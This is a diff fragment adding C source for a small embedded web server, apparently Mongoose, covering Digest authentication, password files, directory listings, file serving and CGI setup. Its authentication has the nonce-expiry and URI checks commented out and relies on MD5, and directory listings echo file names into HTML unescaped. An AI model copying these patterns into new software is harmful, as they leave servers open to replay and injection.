+ MD5Transform(ctx->buf, (uint32_t *) ctx->in);
+ memset(ctx->in, 0, 56);
+ } else {
+ memset(p, 0, count - 8);
+ }
+ byteReverse(ctx->in, 14);
+
+ ((uint32_t *) ctx->in)[14] = ctx->bits[0];
+ ((uint32_t *) ctx->in)[15] = ctx->bits[1];
+
+ MD5Transform(ctx->buf, (uint32_t *) ctx->in);
+ byteReverse((unsigned char *) ctx->buf, 4);
+ memcpy(digest, ctx->buf, 16);
+ memset((char *) ctx, 0, sizeof(*ctx));
+}
+#endif // !HAVE_MD5
+
+// Stringify binary data. Output buffer must be twice as big as input,
+// because each byte takes 2 bytes in string representation
+static void bin2str(char *to, const unsigned char *p, size_t len) {
+ static const char *hex = "0123456789abcdef";
+
+ for (; len--; p++) {
+ *to++ = hex[p[0] >> 4];
+ *to++ = hex[p[0] & 0x0f];
+ }
+ *to = '\0';
+}
+
+// Return stringified MD5 hash for list of vectors. Buffer must be 33 bytes.
+void mg_md5(char *buf, ...) {
+ unsigned char hash[16];
+ const char *p;
+ va_list ap;
+ MD5_CTX ctx;
+
+ MD5Init(&ctx);
+
+ va_start(ap, buf);
+ while ((p = va_arg(ap, const char *)) != NULL) {
+ MD5Update(&ctx, (const unsigned char *) p, (unsigned) strlen(p));
+ }
+ va_end(ap);
+
+ MD5Final(hash, &ctx);
+ bin2str(buf, hash, sizeof(hash));
+}
+
+// Check the user's password, return 1 if OK
+static int check_password(const char *method, const char *ha1, const char *uri,
+ const char *nonce, const char *nc, const char *cnonce,
+ const char *qop, const char *response) {
+ char ha2[32 + 1], expected_response[32 + 1];
+
+ // Some of the parameters may be NULL
+ if (method == NULL || nonce == NULL || nc == NULL || cnonce == NULL ||
+ qop == NULL || response == NULL) {
+ return 0;
+ }
+
+ // NOTE(lsm): due to a bug in MSIE, we do not compare the URI
+ // TODO(lsm): check for authentication timeout
+ if (// strcmp(dig->uri, c->ouri) != 0 ||
+ strlen(response) != 32
+ // || now - strtoul(dig->nonce, NULL, 10) > 3600
+ ) {
+ return 0;
+ }
+
+ mg_md5(ha2, method, ":", uri, NULL);
+ mg_md5(expected_response, ha1, ":", nonce, ":", nc,
+ ":", cnonce, ":", qop, ":", ha2, NULL);
+
+ return mg_strcasecmp(response, expected_response) == 0;
+}
+
+// Use the global passwords file, if specified by auth_gpass option,
+// or search for .htpasswd in the requested directory.
+static FILE *open_auth_file(struct mg_connection *conn, const char *path) {
+ struct mg_context *ctx = conn->ctx;
+ char name[PATH_MAX];
+ const char *p, *e;
+ struct mgstat st;
+ FILE *fp;
+
+ if (ctx->config[GLOBAL_PASSWORDS_FILE] != NULL) {
+ // Use global passwords file
+ fp = mg_fopen(ctx->config[GLOBAL_PASSWORDS_FILE], "r");
+ if (fp == NULL)
+ cry(fc(ctx), "fopen(%s): %s",
+ ctx->config[GLOBAL_PASSWORDS_FILE], strerror(ERRNO));
+ } else if (!mg_stat(path, &st) && st.is_directory) {
+ (void) mg_snprintf(conn, name, sizeof(name), "%s%c%s",
+ path, DIRSEP, PASSWORDS_FILE_NAME);
+ fp = mg_fopen(name, "r");
+ } else {
+ // Try to find .htpasswd in requested directory.
+ for (p = path, e = p + strlen(p) - 1; e > p; e--)
+ if (IS_DIRSEP_CHAR(*e))
+ break;
+ (void) mg_snprintf(conn, name, sizeof(name), "%.*s%c%s",
+ (int) (e - p), p, DIRSEP, PASSWORDS_FILE_NAME);
+ fp = mg_fopen(name, "r");
+ }
+
+ return fp;
+}
+
+// Parsed Authorization header
+struct ah {
+ char *user, *uri, *cnonce, *response, *qop, *nc, *nonce;
+};
+
+static int parse_auth_header(struct mg_connection *conn, char *buf,
+ size_t buf_size, struct ah *ah) {
+ char *name, *value, *s;
+ const char *auth_header;
+
+ if ((auth_header = mg_get_header(conn, "Authorization")) == NULL ||
+ mg_strncasecmp(auth_header, "Digest ", 7) != 0) {
+ return 0;
+ }
+
+ // Make modifiable copy of the auth header
+ (void) mg_strlcpy(buf, auth_header + 7, buf_size);
+
+ s = buf;
+ (void) memset(ah, 0, sizeof(*ah));
+
+ // Parse authorization header
+ for (;;) {
+ // Gobble initial spaces
+ while (isspace(* (unsigned char *) s)) {
+ s++;
+ }
+ name = skip_quoted(&s, "=", " ", 0);
+ // Value is either quote-delimited, or ends at first comma or space.
+ if (s[0] == '\"') {
+ s++;
+ value = skip_quoted(&s, "\"", " ", '\\');
+ if (s[0] == ',') {
+ s++;
+ }
+ } else {
+ value = skip_quoted(&s, ", ", " ", 0); // IE uses commas, FF uses spaces
+ }
+ if (*name == '\0') {
+ break;
+ }
+
+ if (!strcmp(name, "username")) {
+ ah->user = value;
+ } else if (!strcmp(name, "cnonce")) {
+ ah->cnonce = value;
+ } else if (!strcmp(name, "response")) {
+ ah->response = value;
+ } else if (!strcmp(name, "uri")) {
+ ah->uri = value;
+ } else if (!strcmp(name, "qop")) {
+ ah->qop = value;
+ } else if (!strcmp(name, "nc")) {
+ ah->nc = value;
+ } else if (!strcmp(name, "nonce")) {
+ ah->nonce = value;
+ }
+ }
+
+ // CGI needs it as REMOTE_USER
+ if (ah->user != NULL) {
+ conn->request_info.remote_user = mg_strdup(ah->user);
+ } else {
+ return 0;
+ }
+
+ return 1;
+}
+
+// Authorize against the opened passwords file. Return 1 if authorized.
+static int authorize(struct mg_connection *conn, FILE *fp) {
+ struct ah ah;
+ char line[256], f_user[256], ha1[256], f_domain[256], buf[BUFSIZ];
+
+ if (!parse_auth_header(conn, buf, sizeof(buf), &ah)) {
+ return 0;
+ }
+
+ // Loop over passwords file
+ while (fgets(line, sizeof(line), fp) != NULL) {
+ if (sscanf(line, "%[^:]:%[^:]:%s", f_user, f_domain, ha1) != 3) {
+ continue;
+ }
+
+ if (!strcmp(ah.user, f_user) &&
+ !strcmp(conn->ctx->config[AUTHENTICATION_DOMAIN], f_domain))
+ return check_password(
+ conn->request_info.request_method,
+ ha1, ah.uri, ah.nonce, ah.nc, ah.cnonce, ah.qop,
+ ah.response);
+ }
+
+ return 0;
+}
+
+// Return 1 if request is authorised, 0 otherwise.
+static int check_authorization(struct mg_connection *conn, const char *path) {
+ FILE *fp;
+ char fname[PATH_MAX];
+ struct vec uri_vec, filename_vec;
+ const char *list;
+ int authorized;
+
+ fp = NULL;
+ authorized = 1;
+
+ list = conn->ctx->config[PROTECT_URI];
+ while ((list = next_option(list, &uri_vec, &filename_vec)) != NULL) {
+ if (!memcmp(conn->request_info.uri, uri_vec.ptr, uri_vec.len)) {
+ (void) mg_snprintf(conn, fname, sizeof(fname), "%.*s",
+ filename_vec.len, filename_vec.ptr);
+ if ((fp = mg_fopen(fname, "r")) == NULL) {
+ cry(conn, "%s: cannot open %s: %s", __func__, fname, strerror(errno));
+ }
+ break;
+ }
+ }
+
+ if (fp == NULL) {
+ fp = open_auth_file(conn, path);
+ }
+
+ if (fp != NULL) {
+ authorized = authorize(conn, fp);
+ (void) fclose(fp);
+ }
+
+ return authorized;
+}
+
+static void send_authorization_request(struct mg_connection *conn) {
+ conn->request_info.status_code = 401;
+ (void) mg_printf(conn,
+ "HTTP/1.1 401 Unauthorized\r\n"
+ "Content-Length: 0\r\n"
+ "WWW-Authenticate: Digest qop=\"auth\", "
+ "realm=\"%s\", nonce=\"%lu\"\r\n\r\n",
+ conn->ctx->config[AUTHENTICATION_DOMAIN],
+ (unsigned long) time(NULL));
+}
+
+static int is_authorized_for_put(struct mg_connection *conn) {
+ FILE *fp;
+ int ret = 0;
+
+ fp = conn->ctx->config[PUT_DELETE_PASSWORDS_FILE] == NULL ? NULL :
+ mg_fopen(conn->ctx->config[PUT_DELETE_PASSWORDS_FILE], "r");
+
+ if (fp != NULL) {
+ ret = authorize(conn, fp);
+ (void) fclose(fp);
+ }
+
+ return ret;
+}
+
+int mg_modify_passwords_file(const char *fname, const char *domain,
+ const char *user, const char *pass) {
+ int found;
+ char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
+ FILE *fp, *fp2;
+
+ found = 0;
+ fp = fp2 = NULL;
+
+ // Regard empty password as no password - remove user record.
+ if (pass != NULL && pass[0] == '\0') {
+ pass = NULL;
+ }
+
+ (void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
+
+ // Create the file if does not exist
+ if ((fp = mg_fopen(fname, "a+")) != NULL) {
+ (void) fclose(fp);
+ }
+
+ // Open the given file and temporary file
+ if ((fp = mg_fopen(fname, "r")) == NULL) {
+ return 0;
+ } else if ((fp2 = mg_fopen(tmp, "w+")) == NULL) {
+ fclose(fp);
+ return 0;
+ }
+
+ // Copy the stuff to temporary file
+ while (fgets(line, sizeof(line), fp) != NULL) {
+ if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
+ continue;
+ }
+
+ if (!strcmp(u, user) && !strcmp(d, domain)) {
+ found++;
+ if (pass != NULL) {
+ mg_md5(ha1, user, ":", domain, ":", pass, NULL);
+ fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
+ }
+ } else {
+ (void) fprintf(fp2, "%s", line);
+ }
+ }
+
+ // If new user, just add it
+ if (!found && pass != NULL) {
+ mg_md5(ha1, user, ":", domain, ":", pass, NULL);
+ (void) fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
+ }
+
+ // Close files
+ (void) fclose(fp);
+ (void) fclose(fp2);
+
+ // Put the temp file in place of real file
+ (void) mg_remove(fname);
+ (void) mg_rename(tmp, fname);
+
+ return 1;
+}
+
+struct de {
+ struct mg_connection *conn;
+ char *file_name;
+ struct mgstat st;
+};
+
+static void url_encode(const char *src, char *dst, size_t dst_len) {
+ static const char *dont_escape = "._-$,;~()";
+ static const char *hex = "0123456789abcdef";
+ const char *end = dst + dst_len - 1;
+
+ for (; *src != '\0' && dst < end; src++, dst++) {
+ if (isalnum(*(const unsigned char *) src) ||
+ strchr(dont_escape, * (const unsigned char *) src) != NULL) {
+ *dst = *src;
+ } else if (dst + 2 < end) {
+ dst[0] = '%';
+ dst[1] = hex[(* (const unsigned char *) src) >> 4];
+ dst[2] = hex[(* (const unsigned char *) src) & 0xf];
+ dst += 2;
+ }
+ }
+
+ *dst = '\0';
+}
+
+static void print_dir_entry(struct de *de) {
+ char size[64], mod[64], href[PATH_MAX];
+
+ if (de->st.is_directory) {
+ (void) mg_snprintf(de->conn, size, sizeof(size), "%s", "[DIRECTORY]");
+ } else {
+ // We use (signed) cast below because MSVC 6 compiler cannot
+ // convert unsigned __int64 to double. Sigh.
+ if (de->st.size < 1024) {
+ (void) mg_snprintf(de->conn, size, sizeof(size),
+ "%lu", (unsigned long) de->st.size);
+ } else if (de->st.size < 1024 * 1024) {
+ (void) mg_snprintf(de->conn, size, sizeof(size),
+ "%.1fk", (double) de->st.size / 1024.0);
+ } else if (de->st.size < 1024 * 1024 * 1024) {
+ (void) mg_snprintf(de->conn, size, sizeof(size),
+ "%.1fM", (double) de->st.size / 1048576);
+ } else {
+ (void) mg_snprintf(de->conn, size, sizeof(size),
+ "%.1fG", (double) de->st.size / 1073741824);
+ }
+ }
+ (void) strftime(mod, sizeof(mod), "%d-%b-%Y %H:%M", localtime(&de->st.mtime));
+ url_encode(de->file_name, href, sizeof(href));
+ de->conn->num_bytes_sent += mg_printf(de->conn,
+ "<tr><td><a href=\"%s%s%s\">%s%s</a></td>"
+ "<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
+ de->conn->request_info.uri, href, de->st.is_directory ? "/" : "",
+ de->file_name, de->st.is_directory ? "/" : "", mod, size);
+}
+
+// This function is called from send_directory() and used for
+// sorting directory entries by size, or name, or modification time.
+// On windows, __cdecl specification is needed in case if project is built
+// with __stdcall convention. qsort always requires __cdels callback.
+static int WINCDECL compare_dir_entries(const void *p1, const void *p2) {
+ const struct de *a = (const struct de *) p1, *b = (const struct de *) p2;
+ const char *query_string = a->conn->request_info.query_string;
+ int cmp_result = 0;
+
+ if (query_string == NULL) {
+ query_string = "na";
+ }
+
+ if (a->st.is_directory && !b->st.is_directory) {
+ return -1; // Always put directories on top
+ } else if (!a->st.is_directory && b->st.is_directory) {
+ return 1; // Always put directories on top
+ } else if (*query_string == 'n') {
+ cmp_result = strcmp(a->file_name, b->file_name);
+ } else if (*query_string == 's') {
+ cmp_result = a->st.size == b->st.size ? 0 :
+ a->st.size > b->st.size ? 1 : -1;
+ } else if (*query_string == 'd') {
+ cmp_result = a->st.mtime == b->st.mtime ? 0 :
+ a->st.mtime > b->st.mtime ? 1 : -1;
+ }
+
+ return query_string[1] == 'd' ? -cmp_result : cmp_result;
+}
+
+static int scan_directory(struct mg_connection *conn, const char *dir,
+ void *data, void (*cb)(struct de *, void *)) {
+ char path[PATH_MAX];
+ struct dirent *dp;
+ DIR *dirp;
+ struct de de;
+
+ if ((dirp = opendir(dir)) == NULL) {
+ return 0;
+ } else {
+ de.conn = conn;
+
+ while ((dp = readdir(dirp)) != NULL) {
+ // Do not show current dir and passwords file
+ if (!strcmp(dp->d_name, ".") ||
+ !strcmp(dp->d_name, "..") ||
+ !strcmp(dp->d_name, PASSWORDS_FILE_NAME))
+ continue;
+
+ mg_snprintf(conn, path, sizeof(path), "%s%c%s", dir, DIRSEP, dp->d_name);
+
+ // If we don't memset stat structure to zero, mtime will have
+ // garbage and strftime() will segfault later on in
+ // print_dir_entry(). memset is required only if mg_stat()
+ // fails. For more details, see
+ // http://code.google.com/p/mongoose/issues/detail?id=79
+ if (mg_stat(path, &de.st) != 0) {
+ memset(&de.st, 0, sizeof(de.st));
+ }
+ de.file_name = dp->d_name;
+
+ cb(&de, data);
+ }
+ (void) closedir(dirp);
+ }
+ return 1;
+}
+
+struct dir_scan_data {
+ struct de *entries;
+ int num_entries;
+ int arr_size;
+};
+
+static void dir_scan_callback(struct de *de, void *data) {
+ struct dir_scan_data *dsd = (struct dir_scan_data *) data;
+
+ if (dsd->entries == NULL || dsd->num_entries >= dsd->arr_size) {
+ dsd->arr_size *= 2;
+ dsd->entries = (struct de *) realloc(dsd->entries, dsd->arr_size *
+ sizeof(dsd->entries[0]));
+ }
+ if (dsd->entries == NULL) {
+ // TODO(lsm): propagate an error to the caller
+ dsd->num_entries = 0;
+ } else {
+ dsd->entries[dsd->num_entries].file_name = mg_strdup(de->file_name);
+ dsd->entries[dsd->num_entries].st = de->st;
+ dsd->entries[dsd->num_entries].conn = de->conn;
+ dsd->num_entries++;
+ }
+}
+
+static void handle_directory_request(struct mg_connection *conn,
+ const char *dir) {
+ int i, sort_direction;
+ struct dir_scan_data data = { NULL, 0, 128 };
+
+ if (!scan_directory(conn, dir, &data, dir_scan_callback)) {
+ send_http_error(conn, 500, "Cannot open directory",
+ "Error: opendir(%s): %s", dir, strerror(ERRNO));
+ return;
+ }
+
+ sort_direction = conn->request_info.query_string != NULL &&
+ conn->request_info.query_string[1] == 'd' ? 'a' : 'd';
+
+ conn->must_close = 1;
+ mg_printf(conn, "%s",
+ "HTTP/1.1 200 OK\r\n"
+ "Connection: close\r\n"
+ "Content-Type: text/html; charset=utf-8\r\n\r\n");
+
+ conn->num_bytes_sent += mg_printf(conn,
+ "<html><head><title>Index of %s</title>"
+ "<style>th {text-align: left;}</style></head>"
+ "<body><h1>Index of %s</h1><pre><table cellpadding=\"0\">"
+ "<tr><th><a href=\"?n%c\">Name</a></th>"
+ "<th><a href=\"?d%c\">Modified</a></th>"
+ "<th><a href=\"?s%c\">Size</a></th></tr>"
+ "<tr><td colspan=\"3\"><hr></td></tr>",
+ conn->request_info.uri, conn->request_info.uri,
+ sort_direction, sort_direction, sort_direction);
+
+ // Print first entry - link to a parent directory
+ conn->num_bytes_sent += mg_printf(conn,
+ "<tr><td><a href=\"%s%s\">%s</a></td>"
+ "<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
+ conn->request_info.uri, "..", "Parent directory", "-", "-");
+
+ // Sort and print directory entries
+ qsort(data.entries, (size_t) data.num_entries, sizeof(data.entries[0]),
+ compare_dir_entries);
+ for (i = 0; i < data.num_entries; i++) {
+ print_dir_entry(&data.entries[i]);
+ free(data.entries[i].file_name);
+ }
+ free(data.entries);
+
+ conn->num_bytes_sent += mg_printf(conn, "%s", "</table></body></html>");
+ conn->request_info.status_code = 200;
+}
+
+// Send len bytes from the opened file to the client.
+static void send_file_data(struct mg_connection *conn, FILE *fp, int64_t len) {
+ char buf[BUFSIZ];
+ int to_read, num_read, num_written;
+
+ while (len > 0) {
+ // Calculate how much to read from the file in the buffer
+ to_read = sizeof(buf);
+ if ((int64_t) to_read > len)
+ to_read = (int) len;
+
+ // Read from file, exit the loop on error
+ if ((num_read = fread(buf, 1, (size_t)to_read, fp)) == 0)
+ break;
+
+ // Send read bytes to the client, exit the loop on error
+ if ((num_written = mg_write(conn, buf, (size_t)num_read)) != num_read)
+ break;
+
+ // Both read and were successful, adjust counters
+ conn->num_bytes_sent += num_written;
+ len -= num_written;
+ }
+}
+
+static int parse_range_header(const char *header, int64_t *a, int64_t *b) {
+ return sscanf(header, "bytes=%" INT64_FMT "-%" INT64_FMT, a, b);
+}
+
+static void gmt_time_string(char *buf, size_t buf_len, time_t *t) {
+ strftime(buf, buf_len, "%a, %d %b %Y %H:%M:%S GMT", gmtime(t));
+}
+
+static void handle_file_request(struct mg_connection *conn, const char *path,
+ struct mgstat *stp) {
+ char date[64], lm[64], etag[64], range[64];
+ const char *msg = "OK", *hdr;
+ time_t curtime = time(NULL);
+ int64_t cl, r1, r2;
+ struct vec mime_vec;
+ FILE *fp;
+ int n;
+
+ get_mime_type(conn->ctx, path, &mime_vec);
+ cl = stp->size;
+ conn->request_info.status_code = 200;
+ range[0] = '\0';
+
+ if ((fp = mg_fopen(path, "rb")) == NULL) {
+ send_http_error(conn, 500, http_500_error,
+ "fopen(%s): %s", path, strerror(ERRNO));
+ return;
+ }
+ set_close_on_exec(fileno(fp));
+
+ // If Range: header specified, act accordingly
+ r1 = r2 = 0;
+ hdr = mg_get_header(conn, "Range");
+ if (hdr != NULL && (n = parse_range_header(hdr, &r1, &r2)) > 0) {
+ conn->request_info.status_code = 206;
+ (void) fseeko(fp, (off_t) r1, SEEK_SET);
+ cl = n == 2 ? r2 - r1 + 1: cl - r1;
+ (void) mg_snprintf(conn, range, sizeof(range),
+ "Content-Range: bytes "
+ "%" INT64_FMT "-%"
+ INT64_FMT "/%" INT64_FMT "\r\n",
+ r1, r1 + cl - 1, stp->size);
+ msg = "Partial Content";
+ }
+
+ // Prepare Etag, Date, Last-Modified headers. Must be in UTC, according to
+ // http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.3
+ gmt_time_string(date, sizeof(date), &curtime);
+ gmt_time_string(lm, sizeof(lm), &stp->mtime);
+ (void) mg_snprintf(conn, etag, sizeof(etag), "%lx.%lx",
+ (unsigned long) stp->mtime, (unsigned long) stp->size);
+
+ (void) mg_printf(conn,
+ "HTTP/1.1 %d %s\r\n"
+ "Date: %s\r\n"
+ "Last-Modified: %s\r\n"
+ "Etag: \"%s\"\r\n"
+ "Content-Type: %.*s\r\n"
+ "Content-Length: %" INT64_FMT "\r\n"
+ "Connection: %s\r\n"
+ "Accept-Ranges: bytes\r\n"
+ "%s\r\n",
+ conn->request_info.status_code, msg, date, lm, etag, (int) mime_vec.len,
+ mime_vec.ptr, cl, suggest_connection_header(conn), range);
+
+ if (strcmp(conn->request_info.request_method, "HEAD") != 0) {
+ send_file_data(conn, fp, cl);
+ }
+ (void) fclose(fp);
+}
+
+void mg_send_file(struct mg_connection *conn, const char *path) {
+ struct mgstat st;
+ if (mg_stat(path, &st) == 0) {
+ handle_file_request(conn, path, &st);
+ } else {
+ send_http_error(conn, 404, "Not Found", "%s", "File not found");
+ }
+}
+
+
+// Parse HTTP headers from the given buffer, advance buffer to the point
+// where parsing stopped.
+static void parse_http_headers(char **buf, struct mg_request_info *ri) {
+ int i;
+
+ for (i = 0; i < (int) ARRAY_SIZE(ri->http_headers); i++) {
+ ri->http_headers[i].name = skip_quoted(buf, ":", " ", 0);
+ ri->http_headers[i].value = skip(buf, "\r\n");
+ if (ri->http_headers[i].name[0] == '\0')
+ break;
+ ri->num_headers = i + 1;
+ }
+}
+
+static int is_valid_http_method(const char *method) {
+ return !strcmp(method, "GET") || !strcmp(method, "POST") ||
+ !strcmp(method, "HEAD") || !strcmp(method, "CONNECT") ||
+ !strcmp(method, "PUT") || !strcmp(method, "DELETE") ||
+ !strcmp(method, "OPTIONS") || !strcmp(method, "PROPFIND");
+}
+
+// Parse HTTP request, fill in mg_request_info structure.
+static int parse_http_request(char *buf, struct mg_request_info *ri) {
+ int status = 0;
+
+ // RFC says that all initial whitespaces should be ingored
+ while (*buf != '\0' && isspace(* (unsigned char *) buf)) {
+ buf++;
+ }
+
+ ri->request_method = skip(&buf, " ");
+ ri->uri = skip(&buf, " ");
+ ri->http_version = skip(&buf, "\r\n");
+
+ if (is_valid_http_method(ri->request_method) &&
+ strncmp(ri->http_version, "HTTP/", 5) == 0) {
+ ri->http_version += 5; // Skip "HTTP/"
+ parse_http_headers(&buf, ri);
+ status = 1;
+ }
+
+ return status;
+}
+
+// Keep reading the input (either opened file descriptor fd, or socket sock,
+// or SSL descriptor ssl) into buffer buf, until \r\n\r\n appears in the
+// buffer (which marks the end of HTTP request). Buffer buf may already
+// have some data. The length of the data is stored in nread.
+// Upon every read operation, increase nread by the number of bytes read.
+static int read_request(FILE *fp, SOCKET sock, SSL *ssl, char *buf, int bufsiz,
+ int *nread) {
+ int n, request_len;
+
+ request_len = 0;
+ while (*nread < bufsiz && request_len == 0) {
+ n = pull(fp, sock, ssl, buf + *nread, bufsiz - *nread);
+ if (n <= 0) {
+ break;
+ } else {
+ *nread += n;
+ request_len = get_request_len(buf, *nread);
+ }
+ }
+
+ return request_len;
+}
+
+// For given directory path, substitute it to valid index file.
+// Return 0 if index file has been found, -1 if not found.
+// If the file is found, it's stats is returned in stp.
+static int substitute_index_file(struct mg_connection *conn, char *path,
+ size_t path_len, struct mgstat *stp) {
+ const char *list = conn->ctx->config[INDEX_FILES];
+ struct mgstat st;
+ struct vec filename_vec;
+ size_t n = strlen(path);
+ int found = 0;
+
+ // The 'path' given to us points to the directory. Remove all trailing
+ // directory separator characters from the end of the path, and
+ // then append single directory separator character.
+ while (n > 0 && IS_DIRSEP_CHAR(path[n - 1])) {
+ n--;
+ }
+ path[n] = DIRSEP;
+
+ // Traverse index files list. For each entry, append it to the given
+ // path and see if the file exists. If it exists, break the loop
+ while ((list = next_option(list, &filename_vec, NULL)) != NULL) {
+
+ // Ignore too long entries that may overflow path buffer
+ if (filename_vec.len > path_len - (n + 2))
+ continue;
+
+ // Prepare full path to the index file
+ (void) mg_strlcpy(path + n + 1, filename_vec.ptr, filename_vec.len + 1);
+
+ // Does it exist?
+ if (mg_stat(path, &st) == 0) {
+ // Yes it does, break the loop
+ *stp = st;
+ found = 1;
+ break;
+ }
+ }
+
+ // If no index file exists, restore directory path
+ if (!found) {
+ path[n] = '\0';
+ }
+
+ return found;
+}
+
+// Return True if we should reply 304 Not Modified.
+static int is_not_modified(const struct mg_connection *conn,
+ const struct mgstat *stp) {
+ const char *ims = mg_get_header(conn, "If-Modified-Since");
+ return ims != NULL && stp->mtime <= parse_date_string(ims);
+}
+
+static int forward_body_data(struct mg_connection *conn, FILE *fp,
+ SOCKET sock, SSL *ssl) {
+ const char *expect, *buffered;
+ char buf[BUFSIZ];
+ int to_read, nread, buffered_len, success = 0;
+
+ expect = mg_get_header(conn, "Expect");
+ assert(fp != NULL);
+
+ if (conn->content_len == -1) {
+ send_http_error(conn, 411, "Length Required", "");
+ } else if (expect != NULL && mg_strcasecmp(expect, "100-continue")) {
+ send_http_error(conn, 417, "Expectation Failed", "");
+ } else {
+ if (expect != NULL) {
+ (void) mg_printf(conn, "%s", "HTTP/1.1 100 Continue\r\n\r\n");
+ }
+
+ buffered = conn->buf + conn->request_len;
+ buffered_len = conn->data_len - conn->request_len;
+ assert(buffered_len >= 0);
+ assert(conn->consumed_content == 0);
+
+ if (buffered_len > 0) {
+ if ((int64_t) buffered_len > conn->content_len) {
+ buffered_len = (int) conn->content_len;
+ }
+ push(fp, sock, ssl, buffered, (int64_t) buffered_len);
+ conn->consumed_content += buffered_len;
+ }
+
+ while (conn->consumed_content < conn->content_len) {
+ to_read = sizeof(buf);
+ if ((int64_t) to_read > conn->content_len - conn->consumed_content) {
+ to_read = (int) (conn->content_len - conn->consumed_content);
+ }
+ nread = pull(NULL, conn->client.sock, conn->ssl, buf, to_read);
+ if (nread <= 0 || push(fp, sock, ssl, buf, nread) != nread) {
+ break;
+ }
+ conn->consumed_content += nread;
+ }
+
+ if (conn->consumed_content == conn->content_len) {
+ success = 1;
+ }
+
+ // Each error code path in this function must send an error
+ if (!success) {
+ send_http_error(conn, 577, http_500_error, "");
+ }
+ }
+
+ return success;
+}
+
+#if !defined(NO_CGI)
+// This structure helps to create an environment for the spawned CGI program.
+// Environment is an array of "VARIABLE=VALUE\0" ASCIIZ strings,
+// last element must be NULL.
+// However, on Windows there is a requirement that all these VARIABLE=VALUE\0
+// strings must reside in a contiguous buffer. The end of the buffer is
+// marked by two '\0' characters.
+// We satisfy both worlds: we create an envp array (which is vars), all
+// entries are actually pointers inside buf.
+struct cgi_env_block {
+ struct mg_connection *conn;
+ char buf[CGI_ENVIRONMENT_SIZE]; // Environment buffer
+ int len; // Space taken
+ char *vars[MAX_CGI_ENVIR_VARS]; // char **envp
+ int nvars; // Number of variables
+};
+
+// Append VARIABLE=VALUE\0 string to the buffer, and add a respective
+// pointer into the vars array.
+static char *addenv(struct cgi_env_block *block, const char *fmt, ...) {
+ int n, space;
+ char *added;
+ va_list ap;
+
+ // Calculate how much space is left in the buffer
+ space = sizeof(block->buf) - block->len - 2;
+ assert(space >= 0);
+
+ // Make a pointer to the free space int the buffer
+ added = block->buf + block->len;
+
+ // Copy VARIABLE=VALUE\0 string into the free space
+ va_start(ap, fmt);
+ n = mg_vsnprintf(block->conn, added, (size_t) space, fmt, ap);
+ va_end(ap);
+
+ // Make sure we do not overflow buffer and the envp array
+ if (n > 0 && n < space &&
+ block->nvars < (int) ARRAY_SIZE(block->vars) - 2) {
+ // Append a pointer to the added string into the envp array
+ block->vars[block->nvars++] = block->buf + block->len;
+ // Bump up used length counter. Include \0 terminator
+ block->len += n + 1;
+ }
+
+ return added;
+}
+
+static void prepare_cgi_environment(struct mg_connection *conn,
+ const char *prog,
+ struct cgi_env_block *blk) {
+ const char *s, *slash;
+ struct vec var_vec;
+ char *p, src_addr[20];
+ int i;
+
+ blk->len = blk->nvars = 0;
+ blk->conn = conn;
+ sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
+
+ addenv(blk, "SERVER_NAME=%s", conn->ctx->config[AUTHENTICATION_DOMAIN]);
+ addenv(blk, "SERVER_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
+ addenv(blk, "DOCUMENT_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
+
+ // Prepare the environment block
+ addenv(blk, "%s", "GATEWAY_INTERFACE=CGI/1.1");
+ addenv(blk, "%s", "SERVER_PROTOCOL=HTTP/1.1");
+ addenv(blk, "%s", "REDIRECT_STATUS=200"); // For PHP
+
+ // TODO(lsm): fix this for IPv6 case
+ addenv(blk, "SERVER_PORT=%d", ntohs(conn->client.lsa.sin.sin_port));
+
+ addenv(blk, "REQUEST_METHOD=%s", conn->request_info.request_method);
+ addenv(blk, "REMOTE_ADDR=%s", src_addr);
+ addenv(blk, "REMOTE_PORT=%d", conn->request_info.remote_port);
+ addenv(blk, "REQUEST_URI=%s", conn->request_info.uri);
+
+ // SCRIPT_NAME
+ assert(conn->request_info.uri[0] == '/');
+ slash = strrchr(conn->request_info.uri, '/');
+ if ((s = strrchr(prog, '/')) == NULL)
+ s = prog;
+ addenv(blk, "SCRIPT_NAME=%.*s%s", slash - conn->request_info.uri,
+ conn->request_info.uri, s);
+
+ addenv(blk, "SCRIPT_FILENAME=%s", prog);
+ addenv(blk, "PATH_TRANSLATED=%s", prog);
+ addenv(blk, "HTTPS=%s", conn->ssl == NULL ? "off" : "on");
+
+ if ((s = mg_get_header(conn, "Content-Type")) != NULL)
+ addenv(blk, "CONTENT_TYPE=%s", s);
+
+ if (conn->request_info.query_string != NULL)
+ addenv(blk, "QUERY_STRING=%s", conn->request_info.query_string);
+
+ if ((s = mg_get_header(conn, "Content-Length")) != NULL)
+ addenv(blk, "CONTENT_LENGTH=%s", s);
+
+ if ((s = getenv("PATH")) != NULL)
+ addenv(blk, "PATH=%s", s);
+
+ if (conn->path_info != NULL) {
+ addenv(blk, "PATH_INFO=%s", conn->path_info);
+ }
+
+#if defined(_WIN32)
+ if ((s = getenv("COMSPEC")) != NULL) {
+ addenv(blk, "COMSPEC=%s", s);
+ }
+ if ((s = getenv("SYSTEMROOT")) != NULL) {
+ addenv(blk, "SYSTEMROOT=%s", s);
+ }
+ if ((s = getenv("SystemDrive")) != NULL) {
+ addenv(blk, "SystemDrive=%s", s);
+ }
+#else
+ if ((s = getenv("LD_LIBRARY_PATH")) != NULL)
+ addenv(blk, "LD_LIBRARY_PATH=%s", s);
+#endif // _WIN32
+
+ if ((s = getenv("PERLLIB")) != NULL)
+ addenv(blk, "PERLLIB=%s", s);
+
+ if (conn->request_info.remote_user != NULL) {
+ addenv(blk, "REMOTE_USER=%s", conn->request_info.remote_user);
+ addenv(blk, "%s", "AUTH_TYPE=Digest");
+ }
+
+ // Add all headers as HTTP_* variables
+ for (i = 0; i < conn->request_info.num_headers; i++) {
+ p = addenv(blk, "HTTP_%s=%s",
+ conn->request_info.http_headers[i].name,
+ conn->request_info.http_headers[i].value);
+
+ // Convert variable name into uppercase, and change - to _
+ for (; *p != '=' && *p != '\0'; p++) {
